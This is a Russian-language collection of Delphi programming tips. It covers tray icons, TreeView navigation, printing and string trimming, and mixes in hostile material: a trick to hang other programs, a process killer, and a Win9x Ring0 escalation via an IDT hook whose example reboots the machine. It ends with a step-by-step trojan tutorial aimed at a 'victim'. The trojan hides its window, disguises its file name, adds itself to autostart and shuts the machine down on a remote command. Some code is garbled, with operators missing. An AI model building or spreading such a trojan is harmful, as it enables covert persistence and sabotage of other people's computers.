Shell_NotifyIcon(NIM_DELETE, @nidata); // удаление значка
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
ShownOnce := False;
CreateTrayIcon(1);
HideItem.Enabled := False;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
DeleteTrayIcon(1);
end;
procedure TForm1.RestoreItemClick(Sender: TObject);
begin
RestoreMainForm;
//если убрать ремарку то при показывании основного окна значек исчезает
//DeleteTrayIcon(1);
RestoreItem.Enabled := False;
HideItem.Enabled := True;
end;
procedure TForm1.HideItemClick(Sender: TObject);
begin
HideMainForm;
CreateTrayIcon(1);
HideItem.Enabled := False;
RestoreItem.Enabled := True;
end;
procedure TForm1.FileExitItem1Click(Sender: TObject);
begin
Close;
end;
end.
{Также есть еще такая фигня Shell_NotifyIcon(NIM_Modify, @nidata) позволяет
менять уже установленный значек, не прибегая к его убиванию и построению заново}
|
Издевательства над System Tray.
Оформил: DeeCo
Тема сегодняшнего издевательства - System Tray ;)). Попробуем задизейблить его! Находим окно отвечающее за таскбар и делаем ему Hide. Главное - это знать класс окна, которое ищем, он естественно нигде не описан, но я его случайно узнал! ;-). В дельфи это выглялит так:
procedure TForm1.HideButtonClick(Sender: TObject); {прячем
таскбар} var
H: Integer;
begin
H := FindWindow('Shell_TrayWnd',
nil); {находим хандл окна таскбара}
if (H = 0) then
Application.MessageBox('Window not found', nil, IDOK) {а вдруг не нашли ?!
8-)}
else
ShowWindow(H, SW_HIDE); {делаем его
невидимым}
end;
procedure TForm1.ShowButtonClick(Sender:
TObject); {показываем таскбар}
var
H: Integer;
begin
H := FindWindow('Shell_TrayWnd',
nil); {находим хандл окна таскбара}
if (H = 0) then
Application.MessageBox('Window not found', nil, IDOK) {а вдруг не нашли ?!
8-)}
else
ShowWindow(H,
SW_SHOW); {делаем его видимым}
end;
Есть предложение продолжить тему трея... Теперь обсудим, как снять приложения, сидящие в трее.
procedure TForm3.Button1Click(Sender:
TObject);
var
hWnd:
THandle;
R: TRect;
I:
Integer;
begin
hWnd := FindWindow(
'Shell_TrayWnd', nil);
hWnd := FindWindowEx(hWnd,
0, 'TrayNotifyWnd', nil);
GetWindowRect(hWnd, R
);
for I := 1 to R.Right - R.Left do
SendMessage(hWnd,
WM_MOUSEMOVE, 0, I + (R.Bottom - R.Top) div 2 shl 16);
end;
Убирает с таскбара иконки всех снятых приложений.
Теперь, побалуемся с кнопкой ПУСК...
uses TypInfo;
var
hTaskBar, hButton:
HWND;
begin
hTaskBar :=
FindWindow('Shell_TrayWnd', nil);
hButton :=
GetWindow(hTaskBar, GW_CHILD); // Нажать кнопку
"Пуск" SendMessage(hButton, WM_LBUTTONDOWN,
MK_LBUTTON, LoWord(5) + HiWord(Screen.Height - 20)); //
Убрать кнопку "Пуск" ShowWindow(hButton,
SW_HIDE); // Показать кнопку
"Пуск" ShowWindow(hButton, SW_NORMAL);
end.
Пора и завесить что нибудь ;)). Вот кусок кода, который завешивает проги, как нефиг делать! (Только с OpenFile Dialog).
procedure TForm1.Button1Click(Sender:
TObject);
var
hWnd, hList:
THandle;
begin
hWnd := FindWindow(PChar(32770),
nil); // 32770 - ID диалога FileOpen (Win95 OSR2)
// потенциально у других (98, NT) может быть другим
// тогда надо подставить корректный - look in
WinSight32 hList := FindWindowEx(hWnd, 0,
'COMBOBOX', nil);
SendMessage(hList,
CB_SETITEMDATA, 0, 1);
SendMessage(hList,
CB_SHOWDROPDOWN, 1, 0);
end;
Попробуем теперь убить приложения, зная имя его exe ;)).
uses tlhelp32;
function KillTask(FileName: string): integer; //0 - прибить не получилось
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
const
PROCESS_TERMINATE = $0001;
begin
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
while integer(ContinueLoop) <> 0 do
begin
if
((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(FileName))
or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(FileName))) then
Result := Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
Надоело работать в Ring3? Ну тогда, welcome в Ring0. Правда только под мастдаем (Win9x), но, тоже приятно ;)).
.386p .model flat .data db 0 .code open_RING0_function: pushad call init_open_RING0_function init_open_RING0_function: pop ebp sub ebp,offset (init_open_RING0_function-open_RING0_function) sub esp,4 sidt fword ptr [esp-02] ;Линейный адресс IDT pop ebx add ebx,3*8h cli ;Берем старый обработчик прерывания INT 3 mov edi,[ebx+4] mov di,[ebx] ;Наш обработчик INT 3 lea esi,[ebp+obr_INT3-open_RING0_function] mov [ebx],si ;Первая половина смещения обработчика INT3 shr esi,10h mov [ebx+06],si ;Вторая половина смещения обработчика INT3 ;Вход: EDI - старый обработчик ; EBX - линейный адресс дескриптора INT 3 mov ax,01h int 3h popad retn ;---------------------------------------------------------------------------- ;Текущие функции: ;AX = 1 - Инициализация RING0_function ;Вход: EDI - старый обработчик ; EBX - линейный адресс дескриптора INT 3 ;AX = 2 - Убрать обработчик функций RING3 (при выходе) ;AX = 3 - Выполнить подпрограмму как задачу RING 0 ;Вход: EDI - смещение подпрограммы obr_INT3: push ebp call init_obr_INT3 init_obr_INT3: pop ebp sub ebp,offset (init_obr_INT3-obr_INT3) ;Сдесь можно определить свои функции RING0 cmp ax,01h ;Инициализация функций RING0 (не использовать) jz init_RING0_function cmp ax,02h ;Remove RING 0 функций jz remove_RING0_function cmp ax,03h jz call_RING0 function_complite: pop ebp function_complite_without_popebp: iretd init_RING0_function: mov dword ptr [ebp+old_IN3_base_addr-obr_INT3],edi mov dword ptr [ebp+IDT_base_addr-obr_INT3],ebx jmp function_complite remove_RING0_function: push ebx esi mov ebx,dword ptr [ebp+IDT_base_addr-obr_INT3] mov esi,dword ptr [ebp+old_IN3_base_addr-obr_INT3] mov [ebx],si shr esi,10h mov [ebx+06],si pop esi ebx jmp function_complite call_RING0: pop ebp call edi jmp function_complite_without_popebp old_IN3_base_addr dd 0 IDT_base_addr dd 0 END.
А вот и примерчик использования:
.386p .model flat .data db 0 .code start: ;Сдесь Windows 95/98 дала нам CPL=3 call open_RING0_function ;Запускаем процедуру с превелегиями RING0 mov ax,3 mov edi,offset rst32_ring0 int 3h ;---------------------------------------------------------------------------- rst32_ring0: cli mov al,0feh out 64h,al hlt ;---------------------------------------------------------------------------- ;Функции RING0 include ring0_32.asm ;---------------------------------------------------------------------------- end start.
Ну, теперь уже лучше? ;)).Приложение не убирает всплывающее меню после потери фокуса.
| Автор: Олег Кулабухов |
| - Кто самый сексуальный мужчина в мире? - Билл Гейтс - его хотят отыметь все. |
Во время обработки сообщений PopUp меню, вы должны назначить активное окно, а потом после всплывания меню послать сообщение WM_NULL.
procedure TForm1.WndProc(var Msg: TMessage);
var
p: TPoint;
begin
case Msg.Msg of
WM_USER + 1:
case Msg.lParam of
WM_RBUTTONDOWN:
begin
SetForegroundWindow(Handle);
GetCursorPos(p);
PopupMenu1.Popup(p.x, p.y);
PostMessage(Handle, WM_NULL, 0, 0);
end;
end;
end;
inherited;
end;
|
Прокрутка TreeView, чтобы держать выделение посередине.
procedure TMyForm.TreeChange(Sender: TObject; Node: TTreeNode);
var
i : integer;
pp, cp : TTreeNode;
begin
if Assigned(Tree.Selected) then
begin
cp := Tree.Selected;
pp := cp;
for i := 1 to Round(Tree.Height/30) do
if cp <> nil then
begin
pp := cp;
cp := cp.GetPrevVisible;
end;
Tree.TopItem := pp;
end;
end;
|
Получение доступа к узлам TreeView.
Автор: Peter Kane Небольшие хитрости для работы с узлами TreeView:Если вы хотите производить поиск по дереву, может быть для того, чтобы найти узел, соответствующий определенному критерию, то НЕ ДЕЛАЙТЕ ЭТО ТАКИМ ОБРАЗОМ:
for i := 0 to pred(MyTreeView.Items.Count) do
begin
if MyTreeView.Items[i].Text = 'Банзай' then
break;
end;
|
Значительно быстрее будет так:
Noddy := MyTreeView.Items[0];
Searching := true;
while (Searching) and (Noddy <> nil) do
begin
if Noddy.text = SearchTarget then
begin
Searching := False;
MyTreeView.Selected := Noddy;
MyTreeView.SetFocus;
end
else
begin
Noddy := Noddy.GetNext
end;
end;
|
"Свойство ItemId является дескриптором TTreeNode типа HTreeItem
и однозначно идентифицирует каждый элемент дерева. Используйте
это свойство, если вам необходимо получить доступ к элементам
дерева из внешнего по отношению к TreeView элемента управления."
"Я разговаривал с деревьями...вот почему они ушли от меня...." (Spike Milligan)..
Как связать TreeView и PageControl.
Автор: Vit WEB-сайт: http://forum.vingrad.ruНа форме стоит TreeView, PageControl и кнопка. При смене страницы - меняется текущий узел, а при смене узла меняется страница.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComCtrls;
type
TForm1 = class(TForm)
TreeView1: TTreeView;
Button1: TButton;
PageControl1: TPageControl;
procedure Button1Click(Sender: TObject);
procedure TreeView1Change(Sender: TObject; Node: TTreeNode);
procedure PageControl1Change(Sender: TObject);
private
procedure addItem(t: string);
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.addItem(t: string);
var
TabSheet: TTabSheet;
Node: TTreenode;
begin
TabSheet := TTabSheet.Create(Self);
TabSheet.PageControl := PageControl1;
TabSheet.caption := t;
Node := TreeView1.Items.Add(nil, t);
Node.data := TabSheet; //ассоциируем узел с страницей
TabSheet.tag := Integer(Node); // ассоциируем страницу с узлом
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
TreeView1.HideSelection := false;
addItem('Item1');
addItem('Item2');
addItem('Item3');
addItem('Item4');
end;
procedure TForm1.TreeView1Change(Sender: TObject; Node: TTreeNode);
begin
PageControl1.ActivePage := TTabSheet(Node.data);
// Доступ к ассоциированной странице через узел
end;
procedure TForm1.PageControl1Change(Sender: TObject);
begin
TreeView1.Selected := TTreeNode(Pointer(PageControl1.ActivePage.tag));
// Доступ к ассоциированному узлу через страницу
end;
end.
Поместить список контролов и пунктов меню в TTreeView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
ComCtrls, Menus, Classes, Forms, Controls, Windows, Messages;
function GetControlCaption(Control: TWinControl): ShortString;
// Slightly modified version of Twister's Tip
//
// function GetCaptionAtPoint(pt: TPoint): string;
//
var
TextLength: Integer;
Text: PChar;
begin
if not Boolean(Control.Handle) then Exit;
Result := Control.Name; // if Control doesn't have Caption
// Control.Name is returned
TextLength := SendMessage(Control.Handle, WM_GETTEXTLENGTH, 0, 0);
if TextLength 0 then
begin
GetMem(Text, TextLength + 1);
SendMessage(Control.Handle, WM_GETTEXT, TextLength + 1, Integer(Text));
Result := Text;
FreeMem(Text);
end;
end;
// function GetCaptionAtPoint(pt: TPoint): ShortString;
// begin
// Result:= GetControlCaption(FindVCLWindow(pt));
// end;
procedure FindAllMenuItems(AppTree: TTreeView; MenuItem: TMenuItem; Parent: TTreeNode);
var
loop: Integer;
Node: TTreeNode;
mItem: TMenuItem;
Name: ShortString;
begin
for loop := 0 to MenuItem.Count - 1 do
begin
mItem := MenuItem.Items[loop];
Name := mItem.Caption;
Node := AppTree.Items.AddChildObject(Parent, Name, mItem);
if mItem.Count 0 then findAllMenuItems(AppTree, mItem, Node);
end;
end;
procedure FindAllControls(AppTree: TTreeView; Comp: TComponent; Parent: TTreeNode);
var
Child: TComponent;
loop, start, Index: Integer;
Name: ShortString;
Node, Mnode: TTreeNode;
begin
start := 0;
if Comp is TApplication then
begin
// Parent:= AppTree.Items.AddObjectFirst(Parent, 'Application', nil);
// if you want to see the root ('Application') uncomment
start := 1;
end;
for loop := start to Comp.ComponentCount - 1 do
begin
Child := Comp.Components[loop];
Name := Child.Name;
if Child is TControl then
begin
if Child is TWinControl then
begin // does Child have Caption property??
Name := GetControlCaption(TWinControl(Child));
end;
Node := AppTree.Items.AddChildObject(Parent, Name, Child);
if Child.ComponentCount 0 then FindAllControls(AppTree, Child, Node);
end;
if Child is TMenu then
begin
Node := AppTree.Items.AddChildObject(Parent, Name, Child);
for Index := 0 to TMenu(Child).Items.Count - 1 do
begin
Mnode := AppTree.Items.AddChildObject(Node, TMenu(Child).Items[Index].Caption,
TMenu(Child).Items[Index]);
FindAllMenuItems(AppTree, TMenu(Child).Items[Index], Mnode);
end;
end;
end;
end;
Изменить RootKey для TRegIniFile.
Оформил: DeeCo
uses Registry;
procedure TForm1.Button1Click(Sender: TObject);
var
WinIni: TRegIniFile;
begin
WinIni := TRegIniFile.Create('');
WinIni.RootKey := HKEY_LOCAL_MACHINE;
WinIni.WriteString('Frank', 'Borland', 'Writes Fast Code!');
WinIni.Free;
end;
Хитрости печати.
Все просто. Если знать как. Приведу небольшой код, позволяющий стать гуру в области печати. Надеюсь. Смотрите на комментарии. Все очень просто.
const
INCHES_PER_MILIMETER: Real = 0.04;
type
TOffset = record
X, Y: Integer;
end;
var
FDeviceName: string; {Имя устройства}
FPageHeightPixel, FPageWidthPixel: Integer; {Высота и ширина страницы}
FOrientation: TPrinterOrientation; {Ориентация}
FPrintOffsetPixels: TOffset;
FPixelsPerMMX, FPixelsPerMMY: Real;
MMSize, FPageHeightMM: Integer;
TheReport, TheHead, HeadLine, RecordLine, TFname, TLname: string;
procedure TMissing_Rep.GetDeviceSettings;
var
retval: integer;
PixX, PixY: Integer;
begin
FDeviceName := Printer.Printers[Printer.PrinterIndex]; {Получаем имя}
FPageHeightPixel := Printer.PageHeight; {Получаем высоту страницы}
FPageWidthPixel := Printer.PageWidth; {Получаем ширину страницы}
FOrientation := Printer.Orientation;
{Ориентация}
{Получаем отступ при печати (поля страницы)}
{$IFDEF WIN32}
FPrintOffsetPixels.X := GetDeviceCaps(Printer.Handle, PHYSICALOFFSETX);
FPrintOffsetPixels.Y := GetDeviceCaps(Printer.Handle, PHYSICALOFFSETY);
{$ELSE}
retval := Escape(Printer.Handle, GETPRINTINGOFFSET,
0, nil, @FPrintOffsetPixels);
{$ENDIF}
{Получаем количество пикселей, печатаемое на миллиметре бумаги}
PixX := GetDeviceCaps(Printer.Handle, LOGPIXELSX);
PixY := GetDeviceCaps(Printer.Handle, LOGPIXELSY);
FPixelsPerMMX := INCHES_PER_MILIMETER * PixX;
FPixelsPerMMY := INCHES_PER_MILIMETER * PixY;
FPageHeightMM := Round(FPageHeightPixel / FPixelsPerMMY);
end;
function TMissing_Rep.PutText(mmX, mmY: Integer; S: string; LeftAlign:
Boolean): boolean;
var
X, Y: Integer;
align: WORD;
begin
if LeftAlign then
align := SetTextAlign(Printer.Handle, TA_BOTTOM or TA_LEFT)
else
align := SetTextAlign(Printer.Handle, TA_BOTTOM or TA_RIGHT);
result := FALSE; {Вначале присваиваем флаг неудачи при выполнении функции}
X := Trunc(mmX * FPixelsPerMMX) - FPrintOffsetPixels.X;
Y := Trunc(mmY * FPixelsPerMMY) - FPrintOffsetPixels.Y;
if X < 0 then
exit;
if Y < 0 then
exit;
Printer.Canvas.TextOut(X, Y, S);
result := TRUE;
end;
procedure TMissing_Rep.Print_ButClick(Sender: TObject);
var
PixelSize: Integer;
begin
Print_But.Enabled := False;
if PrintDialog1.Execute then
begin
Printer.Canvas.Font := Missing_Rep.Font;
PixelSize := Printer.Canvas.TextHeight('Yy');
MMSize := Round(PixelSize / FPixelsPerMMY);
Printer.Title := 'Отчет';
Printer.BeginDoc; { начинаем пересылать задание на печать }
PrintGenerator;
Printer.EndDoc; { EndDoc заканчивает задание печати }
end;
Print_But.Enabled := True;
end;
procedure TMissing_Rep.PrintGenerator;
var
yLoc, NumRows, TheRow: Integer;
procedure Heading;
begin
yLoc := 20;
PutText(20, 20, TheHead, TRUE);
yLoc := yLoc + MMSize;
PutText(20, yLoc, StringGrid1.Cells[0, 0], TRUE);
PutText(60, yLoc, StringGrid1.Cells[1, 0], TRUE);
PutText(100, yLoc, StringGrid1.Cells[2, 0], TRUE);
PutText(120, yLoc, StringGrid1.Cells[3, 0], TRUE);
PutText(150, yLoc, StringGrid1.Cells[4, 0], TRUE);
yLoc := yLoc + MMSize;
end;
procedure Footer;
begin
PutText(100, FPageHeightMM, InttoStr(Printer.PageNumber), TRUE);
end;
begin
Heading;
TheRow := 1;
while (TheRow < StringGrid1.RowCount) do
begin
if (yLoc > (FPageHeightMM - MMSize)) then
begin
Footer;
Printer.NewPage;
Heading;
end;
TheGauge.Progress := Round(100 * TheRow / (StringGrid1.RowCount - 1));
PutText(20, yLoc, StringGrid1.Cells[0, TheRow], TRUE);
PutText(60, yLoc, StringGrid1.Cells[1, TheRow], TRUE);
PutText(100, yLoc, StringGrid1.Cells[2, TheRow], TRUE);
PutText(120, yLoc, StringGrid1.Cells[3, TheRow], TRUE);
PutText(150, yLoc, StringGrid1.Cells[4, TheRow], TRUE);
yLoc := yLoc + MMSize;
TheRow := TheRow + 1;
end;
Footer;
end;
|
Как сделать откат внутри триггера.
Внутри триггера нельзя управлять транзакциями, поэтому генерируешь там исключение а откат транзакции делаешь в приложении, пославшем запрос. Естественно exception должен предварительно создан.
SET TERM !!;
CREATE TRIGGER " DELETE_INV" FOR " TINV"
ACTIVE BEFORE DELETE
POSITION 10
AS
BEGIN
IF (EXISTS (SELECT tOst.Id FROM tOst
WHERE tOst.Id = tInv.Id))
THEN
EXCEPTION EST_OSTATOK;
END !!
SET TERM ;!!
DBase.StartTransaction;
try
Query.ExecSQL;
DBase.Commit;
except
DBase.Rollback;
raise; // Для последующей обработки
end;
|
Очистка строки слева и справа от указанных символов.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Очистка строки слева и справа от указанных символов
Функция возвращает word, очищеный от начальных и конечных символов, которые
попадают в строку TrimSymbols.
Например, ShowMessage (TrimEx('<MegaTeg>', '<>')), выведет сообщение "MegaTeg"
(без кавычек).
Зависимости: system, sysutils
Автор: VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright: VID
Дата: 25 апреля 2002 г.
***************************************************** }
function TrimEX(Word, TrimSymbols: string): string;
var
x, a, b: Integer;
begin
Result := Word;
if TrimSymbols = '' then
exit;
Word := Trim(word);
if length(word) = 0 then
exit;
x := 0;
repeat
x := x + 1;
until (pos(ansiuppercase(word[x]), ansiuppercase(TrimSymbols)) = 0)
or (x = length(word));
a := x;
x := length(word) + 1;
repeat
x := x - 1;
until (pos(ansiuppercase(word[x]), ansiuppercase(TrimSymbols)) = 0)
or (x = 1);
b := x;
word := copy(word, a, b - a + 1);
result := word;
end;
Очистка строки слева и справа от указанного символа.
Автор: Lipskiy WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Очистка строки слева и справа от указанного символа
Функция возвращает строку Str, очищенную слева и справа от указанного символа Symbol.
Работает быстрее аналогичной функции UBPFD.TrimEx, так как не использует функцию
поиска Pos, имеет более компактный код.
Зависимости: System, SysUtils
Автор: lipskiy, lipskiy@mail.ru, ICQ:51219290, Санкт-Петербург
Copyright: Собственное написание (lipskiy)
Дата: 2 июня 2002 г.
***************************************************** }
function TrimString(Str: string; Symbol: char): string;
begin
Result := Str;
if Str = '' then
exit;
Str := Trim(Str);
// Удаляем в начале строки
while (length(Str) > 0) and
(AnsiUpperCase(Str[1]) = AnsiUpperCase(Symbol)) do
Delete(Str, 1, 1);
// Удаляем в конце строки
while (length(Str) > 0) and
(AnsiUpperCase(Str[length(Str)]) = AnsiUpperCase(Symbol)) do
Delete(Str, length(Str), 1);
Result := Str;
end;
Боевой конь за 10 минут.
Автор: Павел Ты уже сто раз слышал это магическое слово - "Троян". И мы уже много раз обозревали различных коней этой породы. Сегодня... ты можешь создать своего собственного боевого коня. Ну, а если вдруг не захочешь сделать это прямо сейчас, то, по крайней мере, узнаешь, как работают трояны изнутри. Приготовься, нам предстоит написать сразу две проги. Одна будет находиться на твоей машине (клиент), другую надо будет подбросить жертве (сервер). Работы будет много, поэтому меньше слов и ближе к телу. Троянский сервер Запускай Delphi или, если он у тебя уже запущен, создавай новый проект ("File" - "New Application"). Сейчас мы примемся за серверную часть трояна. Для начала выбери пункт меню "Options" из меню "Project". Перед тобой будет окно. Здесь ты должен перенести "Form1" из раздела "Auto-Create forms" (список слева) в "Available forms" (список справа), как это сделано у меня. Только что мы отключили Form1 из списка автоинициализируемых форм. Теперь инициализацию придется произвести вручную. Не пугайся, это очень просто. На странице "Application" этого же диалога есть кнопка "Load Icon". Нажми ее, чтобы сменить иконку будущей проги. Если икону не сменить, то будет использоваться дельфячья, а она быстро выдаст твое смертельное оружие. Теперь ты должен бросить на форму компонент ServerSocket из раздела "Internet", это сервак протокола (по умолчанию TCP, и нам его достаточно). Выдели созданный ServerSocket1 и перейди в ObjectInspector. Здесь тебя интересует только свойство "Port". По умолчанию оно равно 1024, но я тебе советую его поменять на любое другое (желательно больше 1000).Теперь щелкни в любом месте на форме, чтобы активизировать ее свойства. Перейди в ObjectInspector и щелкни по закладке Events. Дважды щелкни по строке "OnCreate", и Delphi, как всегда, создаст процедуру, которая будет выполняться при инициализации формы. Напиши там следующее:
procedure TForm1.FormCreate(Sender: TObject);
var
RegIni: TRegIniFile;
begin
RegIni := TRegIniFile.Create('Software');
RegIni.RootKey := HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName);
RegIni.Free;
ServerSocket1.Active := true;
end;
Теперь перейди в начало текста и напиши после "uses" слово "registry". Мы уже делали такую операцию в статье про мега-плеер, но я повторю, как это будет выглядеть:
uses registry, Windows, Messages,Теперь я объясню, что мы написали в процедуре. "var RegIni:TRegIniFile" - здесь мы объявили переменную RegIni типа TRegIniFile. С помощью этой переменной мы будем общаться с реестром. "RegIni:=TRegIniFile.Create('Software')" - инициализируем переменную, указывающую на реестр. "RegIni.RootKey:=HKEY_LOCAL_MACHINE" говорим, что нас интересует раздел HKEY_CURRENT_USER реестра. "RegIni.OpenKey('Software', true)" - открываем подраздел "Software". Дальше я последовательно открываю подразделы, пробираясь в недра окошек. "RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName)" - записываю в раздел "RunServices" (в этом разделе хранятся проги, которые автоматически загружаются при старте) новый параметр с именем "Internat32.exe" (имя будущего файла) и значением Application.ExeName (здесь хранится полный путь к запущенному трояну). "RegIni.Free" - уничтожаю ненужный больше объект RegIni. Все это делалось, чтобы при запуске проги она сама себя прописывала в разделе автозапуска. И после перезагрузки компьютера она автоматически загружалась в память. Самая последняя строка "ServerSocket1.Active:=true" запускает сервер на указанном тобой порте.
С загрузкой покончено. Теперь давай займемся выгрузкой. Опять выдели форму и в закладке Events у ObjectInspector-а дважды щелкни по строке "OnDistroy". Теперь создастся процедура, которая будет выполняться при уничтожении формы. В созданной процедуре напиши:
procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction); begin ServerSocket1.Active := false; end;Этим я отключаю сервак. Если этого не сделать, то при первой же перезагрузке твоя жертва может поймать синий экран, если ты в это время будешь подключен к серверу. С одной стороны, это хорошо. Твоя жертва в очередной раз убеждается в плохой защищенности его окошек. А с другой, я не думаю, что следует выдавать себя раньше времени. Тем более, что после синего экрана перезагрузка может остановиться, а нам это не нужно (забегу вперед и скажу, что мы сами будем перегружать компьютер жертвы).
Теперь надо выделить ServerSocket1 и перейти на закладку Events у ObjectInspector-а. Дважды щелкни по строке "OnClientRead" и в созданной процедуре (она будет вызываться, когда что-нибудь приходит на порт) напиши:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
if Socket.ReceiveText = 'R' then
ExitWindowsEx(EWX_SHUTDOWN, 0);
end;
Теперь смотри, как это звучит по-нашему:
Если полученный текст = букве 'R' то
Отправить компьютер в редаун.
ExitWindowsEx - редаун заставит окна свернуться и отключить компьютер от питания. Я вообще добрый дядька, поэтому использовал параметр EWX_SHUTDOWN. С этим параметром перед редауном всем запущенным приложениям полетит запрос о выключении, и жертва сможет сохранить свои измененные данные. Если ты злей меня, то используй EWX_FORCE. В этом случае компьютер упадет без предупреждения и со скоростью света, так что жертва не успеет от страха воздух испортить :).
Троян практически готов, сохрани его. Для этого выбери "Save All" из меню "File". Сначала Delphi запросит имя формы. Оставь по умолчанию (Unit1) и нажми "Сохранить". Потом будет запрос на имя проекта, которое будет использоваться в качестве имени ЕХЕ файла. Назови его "Internat32", чтобы файл не вызывал особых подозрений.
Конюшня для коня
Теперь ты должен хорошенечко спрятать своего будущего скакуна, чтоб его не было видно в панели задач. Для этого выбери пункт меню "Project Manager" из меню "View". Перед тобой откроется окно.
Щелкни правой кнопкой по Internat32.exe и в появившемся меню выбери "View Source". Перед тобой откроется маленький файл с исходным текстом проекта. Сравни то, что ты увидишь, с этим текстом, и допиши то, чего не хватает, а что лишнее - убери (не так уж и много):
program Internat32;
uses
Forms,
Windows.
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
var
WhEvent: THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_Hide);
Form1 := TForm1.Create(nil);
Application.Run;
WhEvent := CreateEvent(nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent, 1000);
Application.ProcessMessages;
end;
end.
Будь внимателен при переписывании. Все должно быть один к одному. Теперь я расскажу, что здесь написано:
В самом начале нет ничего интересного, и нас абсолютно не касается. Нас интересует все, что написано после слова "Var".
WhEvent:THandle - Этим я говорю, что мне нужен указатель WhEvent на пустое событие Thandle.
Application.Initialize - Инициализируется троян.
ShowWindow(Application.Handle, SW_Hide) - Устанавливаю параметры окна. Параметр SW_Hide - говорит, что окно должно быть невидимо. Единственное, как его можно после этого увидеть, так это нажать Ctrl+Alt+Del. Но здесь у нас используется не вызывающее подозрения (только у чайника, профи уже давно знают о таком имени) имя.
Form1:=TForm1.Create(nil) - создаю форму. Мне приходится это делать так, потому что мы убрали форму из списка авто создаваемых.
Application.Run - запускаю трояна. Здесь запускаются обработчики событий и прочая ерунда, за которую отвечает Delphi и которую пришлось бы писать вручную на С или С++. А здесь все очень просто.
WhEvent:=CreateEvent(nil, true,false, 'et') - инициализация пустого события.
Следующие пять строчек я напишу словами, а ты разберешься, как всегда, методом сравнения:
Пока (true) выполнять Начать цикл Ждать пока наступит событие (пустое событие, 1000 миллисекунд) Получить управление Закончить циклДве строчки между началом и концом цикла будут выполняться бесконечно, потому что true, оно всегда true, и из этого цикла выхода нет. Вся фишка - в двух особенностях цикла: 1. Запускается ожидание несуществующего события. Так как событие не существует, то программа прождет его ровно указанное время в качестве второго параметра (1000 миллисекунд или 1 секунда). 2. Отдается команда "Получить управление". После второго шага программа снова перейдет на пункт 1 и запустит ожидание. Во время ожидания пользователь работает с другими приложениями как всегда. Когда трояну (каждую 1 секунду) передается управление, то наш конь проверяет: есть ли для него сообщения. В нашем случае сообщение может быть одно - приход на указанный тобой порт управляющей команды. Если сообщения есть, то троян их выполняет. И в любом случае (есть сообщения или нет), после этого пользователь снова работает 1 секунду без проблем. Проверка происходит так быстро, что жертва не ощутит нагрузки трояна даже на четверке с сотым камнем. Нажми "Ctrl+F9", чтобы Delphi создал .ехе файл без запуска проги. Как только Delphi перемозгует весь код, можешь считать, что серверная часть готова. Если вздумаешь ее тестировать, то не забудь, что после первого же запуска троян пропишется в реестре по адресу: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices. Не забудь после тестирования его удалить. Теперь переходим к клиентской части, которую ты должен будешь запустить на своем компьютере для управления компьютером жертвы. Троянский всадник Снова сохрани все изменения и создай новый проект. Пришло время писать клиентскую часть трояна. Еще пара минут напряженного труда, и все красавицы наши :). На новый проект ты должен бросить три компонента: 1. Button из закладки "Standart" для отправки команды на компьютер жертвы. 2. Edit из закладки "Standart" для ввода имени или адреса жертвы. 3. ClientSocket из закладки "Internet" клиент порта для связи с сервером. Выдели ClientSocket1 и в ObjectInspector-е измени свойство порта. По умолчанию он 0, а ты должен поставить тот, который ты назначил серверу.
Теперь дважды щелкни по кнопке, и в созданной процедуре (обработчике нажатия кнопки) напиши следующее.
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host := Edit1.Text;
ClientSocket1.Active := true;
ClientSocket1.Socket.SendText('R');
ClientSocket1.Active := false;
end;
ClientSocket1.Host:=Edit1.Text - В ClientSocket1 заносим имя жертвы в твоей локалке. Если собираешься использовать троян в Инете, то там ты имя никак не сможешь узнать. Тебе придется использовать IP адрес, а значит эта строчка заменится на ClientSocket1.Addres:=Edit1.Text. И вводить в Edit1 ты должен будешь IP-адрес.
ClientSocket1.Active:=true - активировать соединение с сервером.
ClientSocket1.Socket.SendText('R') - отправить букву R. Помнишь, что у нас было пару минут назад? Если сервер получит букву R, то он перегрузит машину.
ClientSocket1.Active:=false - закрыть соединение с сервером.
Усе
Все. Троян готов к бою. Нажми "Ctrl+F9", чтобы Delphi создал ЕХЕ файл без запуска проги. Найди жертву и протестируй своего верного коня. Для этого нужно запустить серверную часть на компьютере жертвы. Потом запустить клиентскую часть на своем компьютере. Ввести в клиент имя компьютера жертвы (или адрес, если ты скомпилировал под использование через IP) и нажать кнопку. Компьютер жертвы должен перегрузиться.
